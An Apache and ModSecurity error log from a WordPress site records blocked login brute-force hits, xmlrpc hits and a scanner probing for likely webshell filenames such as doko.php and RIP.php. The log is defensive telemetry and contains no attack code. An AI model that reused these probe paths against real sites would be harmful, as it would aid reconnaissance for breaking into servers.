[Sat Jan 31 03:08:44.129167 2026] [:error] [pid 59662:tid 59720] [client 220.158.232.94:11894] [client 220.158.232.94] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 220.158.232.94, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aX0BvA7k73dlTgySEchtcwAAAII"]
[Sat Jan 31 03:08:49.437040 2026] [:error] [pid 59662:tid 59734] [client 220.158.232.94:11894] [client 220.158.232.94] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 220.158.232.94, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aX0BwQ7k73dlTgySEchtjwAAAJA"], referer: https://gigfragments.org/wp-login.php
[Sat Jan 31 03:09:05.943666 2026] [:error] [pid 8354:tid 8366] [client 129.159.220.118:35908] [client 129.159.220.118] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 129.159.220.118, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aX0B0d27IpxWjEJXCd8p9QAAAYo"]
[Sat Jan 31 03:09:07.538410 2026] [:error] [pid 8354:tid 8367] [client 129.159.220.118:35908] [client 129.159.220.118] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 129.159.220.118, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aX0B0927IpxWjEJXCd8p-AAAAYs"], referer: https://gigfragments.org/wp-login.php
[Sat Jan 31 03:32:58.001845 2026] [:error] [pid 39244:tid 39328] [client 220.158.232.162:52026] [client 220.158.232.162] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 220.158.232.162, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aX0Hano-KRTvg3jHEDyjqQAAAJI"]
[Sat Jan 31 03:33:01.680829 2026] [:error] [pid 39244:tid 39330] [client 220.158.232.162:52026] [client 220.158.232.162] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 220.158.232.162, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aX0HbXo-KRTvg3jHEDyjsQAAAJQ"], referer: https://gigfragments.org/wp-login.php
[Sat Jan 31 04:04:17.910651 2026] [:error] [pid 39244:tid 39321] [client 216.251.35.201:34632] [client 216.251.35.201] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.251.35.201, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aX0OwXo-KRTvg3jHEDyzIgAAAIs"]
[Sat Jan 31 04:04:22.636272 2026] [:error] [pid 39244:tid 39321] [client 216.251.35.201:34632] [client 216.251.35.201] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.251.35.201, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aX0Oxno-KRTvg3jHEDyzNQAAAIs"], referer: https://gigfragments.org/wp-login.php
[Sat Jan 31 04:08:24.961111 2026] [:error] [pid 39339:tid 39346] [client 91.217.249.197:22083] [client 91.217.249.197] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.217.249.197, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aX0PuMWi-IjigR3oHY5xSAAAAMU"]
[Sat Jan 31 04:08:24.961119 2026] [:error] [pid 39339:tid 39343] [client 91.217.249.202:21683] [client 91.217.249.202] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.217.249.202, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aX0PuMWi-IjigR3oHY5xRwAAAMI"]
[Sat Jan 31 04:14:36.301372 2026] [:error] [pid 39244:tid 39317] [client 20.240.47.47:27014] [client 20.240.47.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/doko.php"] [unique_id "aX0RLHo-KRTvg3jHEDy4RAAAAIc"]
[Sat Jan 31 04:14:38.063656 2026] [:error] [pid 39243:tid 39289] [client 20.240.47.47:27077] [client 20.240.47.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/doko.php"] [unique_id "aX0RLhBW1k4JK8a4v0YqbwAAAEc"]
[Sat Jan 31 04:14:39.345620 2026] [:error] [pid 39243:tid 39296] [client 20.240.47.47:6848] [client 20.240.47.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/doko.php"] [unique_id "aX0RLxBW1k4JK8a4v0YqdAAAAE4"]
[Sat Jan 31 04:14:42.854988 2026] [:error] [pid 39243:tid 39283] [client 20.240.47.47:43386] [client 20.240.47.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/doko.php"] [unique_id "aX0RMhBW1k4JK8a4v0YqgQAAAEE"]
[Sat Jan 31 04:14:52.501339 2026] [:error] [pid 39243:tid 39302] [client 20.240.47.47:26618] [client 20.240.47.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sst.php"] [unique_id "aX0RPBBW1k4JK8a4v0YqpgAAAFQ"]
[Sat Jan 31 04:14:55.605510 2026] [:error] [pid 39242:tid 39254] [client 20.240.47.47:31949] [client 20.240.47.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sst.php"] [unique_id "aX0RP9OgXnkKGGSSCINQowAAAAA"]
[Sat Jan 31 04:14:57.272280 2026] [:error] [pid 39244:tid 39320] [client 20.240.47.47:14324] [client 20.240.47.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sst.php"] [unique_id "aX0RQXo-KRTvg3jHEDy4mwAAAIo"]
[Sat Jan 31 04:15:00.622131 2026] [:error] [pid 39242:tid 39274] [client 20.240.47.47:29392] [client 20.240.47.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/easy.php"] [unique_id "aX0RRNOgXnkKGGSSCINQtAAAABQ"]
[Sat Jan 31 04:15:03.445698 2026] [:error] [pid 39243:tid 39292] [client 20.240.47.47:19288] [client 20.240.47.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/easy.php"] [unique_id "aX0RRxBW1k4JK8a4v0YqyAAAAEo"]
[Sat Jan 31 04:15:05.811821 2026] [:error] [pid 39339:tid 39357] [client 20.240.47.47:37172] [client 20.240.47.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/easy.php"] [unique_id "aX0RScWi-IjigR3oHY51_QAAANA"]
[Sat Jan 31 04:15:09.940934 2026] [:error] [pid 39339:tid 39353] [client 20.240.47.47:38878] [client 20.240.47.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/easy.php"] [unique_id "aX0RTcWi-IjigR3oHY52CQAAAMw"]
[Sat Jan 31 04:15:11.339143 2026] [:error] [pid 39242:tid 39277] [client 20.240.47.47:20553] [client 20.240.47.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-rss4.php"] [unique_id "aX0RT9OgXnkKGGSSCINQywAAABc"]
[Sat Jan 31 04:15:13.087147 2026] [:error] [pid 39242:tid 39275] [client 20.240.47.47:6443] [client 20.240.47.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-rss4.php"] [unique_id "aX0RUdOgXnkKGGSSCINQ0AAAABU"]
[Sat Jan 31 04:15:23.115615 2026] [:error] [pid 39339:tid 39359] [client 20.240.47.47:6961] [client 20.240.47.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-rss4.php"] [unique_id "aX0RW8Wi-IjigR3oHY52QgAAANI"]
[Sat Jan 31 04:15:31.692101 2026] [:error] [pid 39244:tid 39309] [client 20.240.47.47:31478] [client 20.240.47.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nlvbr.php"] [unique_id "aX0RY3o-KRTvg3jHEDy5NwAAAIA"]
[Sat Jan 31 04:15:32.408069 2026] [:error] [pid 39339:tid 39352] [client 20.240.47.47:6921] [client 20.240.47.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nlvbr.php"] [unique_id "aX0RZMWi-IjigR3oHY52bQAAAMs"]
[Sat Jan 31 04:15:54.303691 2026] [:error] [pid 39243:tid 39295] [client 20.240.47.47:28110] [client 20.240.47.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/RIP.php"] [unique_id "aX0RehBW1k4JK8a4v0YrRgAAAE0"]
[Sat Jan 31 04:16:00.420760 2026] [:error] [pid 39244:tid 39314] [client 20.240.47.47:31369] [client 20.240.47.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/RIP.php"] [unique_id "aX0RgHo-KRTvg3jHEDy5aQAAAIU"]
[Sat Jan 31 04:16:02.668214 2026] [:error] [pid 39243:tid 39292] [client 20.240.47.47:6963] [client 20.240.47.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/RIP.php"] [unique_id "aX0RghBW1k4JK8a4v0YrUgAAAEo"]
[Sat Jan 31 04:16:03.993657 2026] [:error] [pid 39339:tid 39343] [client 20.240.47.47:18655] [client 20.240.47.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/RIP.php"] [unique_id "aX0Rg8Wi-IjigR3oHY521gAAAMI"]
[Sat Jan 31 04:16:05.832358 2026] [:error] [pid 39243:tid 39302] [client 20.240.47.47:31438] [client 20.240.47.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bayss.php"] [unique_id "aX0RhRBW1k4JK8a4v0YrVQAAAFQ"]
[Sat Jan 31 04:16:11.543838 2026] [:error] [pid 39339:tid 39348] [client 20.240.47.47:29339] [client 20.240.47.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bayss.php"] [unique_id "aX0Ri8Wi-IjigR3oHY526AAAAMc"]
[Sat Jan 31 04:16:22.197091 2026] [:error] [pid 39244:tid 39331] [client 20.240.47.47:17504] [client 20.240.47.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w1.php"] [unique_id "aX0Rlno-KRTvg3jHEDy5pQAAAJU"]
[Sat Jan 31 04:16:25.716353 2026] [:error] [pid 39243:tid 39297] [client 20.240.47.47:23679] [client 20.240.47.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w1.php"] [unique_id "aX0RmRBW1k4JK8a4v0YreAAAAE8"]
[Sat Jan 31 04:16:32.937886 2026] [:error] [pid 39243:tid 39304] [client 20.240.47.47:21805] [client 20.240.47.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w1.php"] [unique_id "aX0RoBBW1k4JK8a4v0YrhQAAAFY"]
[Sat Jan 31 04:16:45.353839 2026] [:error] [pid 39243:tid 39293] [client 20.240.47.47:43451] [client 20.240.47.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dgdaolin.php"] [unique_id "aX0RrRBW1k4JK8a4v0YrmgAAAEs"]
[Sat Jan 31 04:16:47.622648 2026] [:error] [pid 39242:tid 39256] [client 20.240.47.47:33162] [client 20.240.47.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dgdaolin.php"] [unique_id "aX0Rr9OgXnkKGGSSCINRfQAAAAI"]
[Sat Jan 31 04:16:49.427333 2026] [:error] [pid 39339:tid 39356] [client 20.240.47.47:19882] [client 20.240.47.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dgdaolin.php"] [unique_id "aX0RscWi-IjigR3oHY53MgAAAM8"]
[Sat Jan 31 04:56:00.213099 2026] [:error] [pid 20836:tid 20859] [client 20.214.137.92:55937] [client 20.214.137.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aX0a4IACllgWRWVrYITNcgAAAVI"]
[Sat Jan 31 04:56:00.761716 2026] [:error] [pid 20836:tid 20844] [client 20.214.137.92:53699] [client 20.214.137.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aX0a4IACllgWRWVrYITNfwAAAUM"]
[Sat Jan 31 04:56:01.308814 2026] [:error] [pid 20836:tid 20850] [client 20.214.137.92:59911] [client 20.214.137.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aX0a4YACllgWRWVrYITNjgAAAUk"]
[Sat Jan 31 04:56:01.853041 2026] [:error] [pid 20210:tid 20236] [client 20.214.137.92:63755] [client 20.214.137.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aX0a4XKy7OGBlTY8MCeljwAAARg"]
[Sat Jan 31 04:58:09.483178 2026] [:error] [pid 39243:tid 39305] [client 35.198.41.118:60074] [client 35.198.41.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.198.41.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX0bYRBW1k4JK8a4v0Y8WgAAAFc"]
[Sat Jan 31 05:27:52.811139 2026] [:error] [pid 39339:tid 39347] [client 91.217.249.221:58981] [client 91.217.249.221] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.217.249.221, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aX0iWMWi-IjigR3oHY6UTwAAAMY"]
[Sat Jan 31 05:27:52.811681 2026] [:error] [pid 39243:tid 39283] [client 91.217.249.224:32065] [client 91.217.249.224] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.217.249.224, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aX0iWBBW1k4JK8a4v0ZE3AAAAEE"]
[Sat Jan 31 05:54:10.639374 2026] [:error] [pid 39339:tid 39364] [client 43.130.72.177:56374] [client 43.130.72.177] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aX0ogsWi-IjigR3oHY6c3gAAANc"]
[Sat Jan 31 06:02:20.933695 2026] [autoindex:error] [pid 20836:tid 20853] [client 20.89.106.10:13658] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/coffee/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Jan 31 06:02:21.052370 2026] [autoindex:error] [pid 20836:tid 20846] [client 20.89.106.10:13658] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Jan 31 06:02:21.176255 2026] [autoindex:error] [pid 20836:tid 20865] [client 20.89.106.10:13658] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/ocean/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Jan 31 06:02:21.303115 2026] [autoindex:error] [pid 20836:tid 20861] [client 20.89.106.10:13658] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Jan 31 06:02:33.724008 2026] [autoindex:error] [pid 20836:tid 20844] [client 20.89.106.10:13658] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/plupload/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Jan 31 06:02:33.855022 2026] [autoindex:error] [pid 20836:tid 20846] [client 20.89.106.10:13658] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/thickbox/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Jan 31 06:02:33.976458 2026] [autoindex:error] [pid 20836:tid 20853] [client 20.89.106.10:13658] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/tinymce/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Jan 31 06:02:34.109758 2026] [autoindex:error] [pid 20836:tid 20860] [client 20.89.106.10:13658] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/tinymce/plugins/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Jan 31 06:02:34.235478 2026] [autoindex:error] [pid 20836:tid 20862] [client 20.89.106.10:13658] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/tinymce/skins/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Jan 31 06:02:34.360970 2026] [autoindex:error] [pid 20836:tid 20845] [client 20.89.106.10:13658] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/tinymce/themes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Jan 31 06:02:34.488607 2026] [autoindex:error] [pid 20836:tid 20861] [client 20.89.106.10:13658] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/style-engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
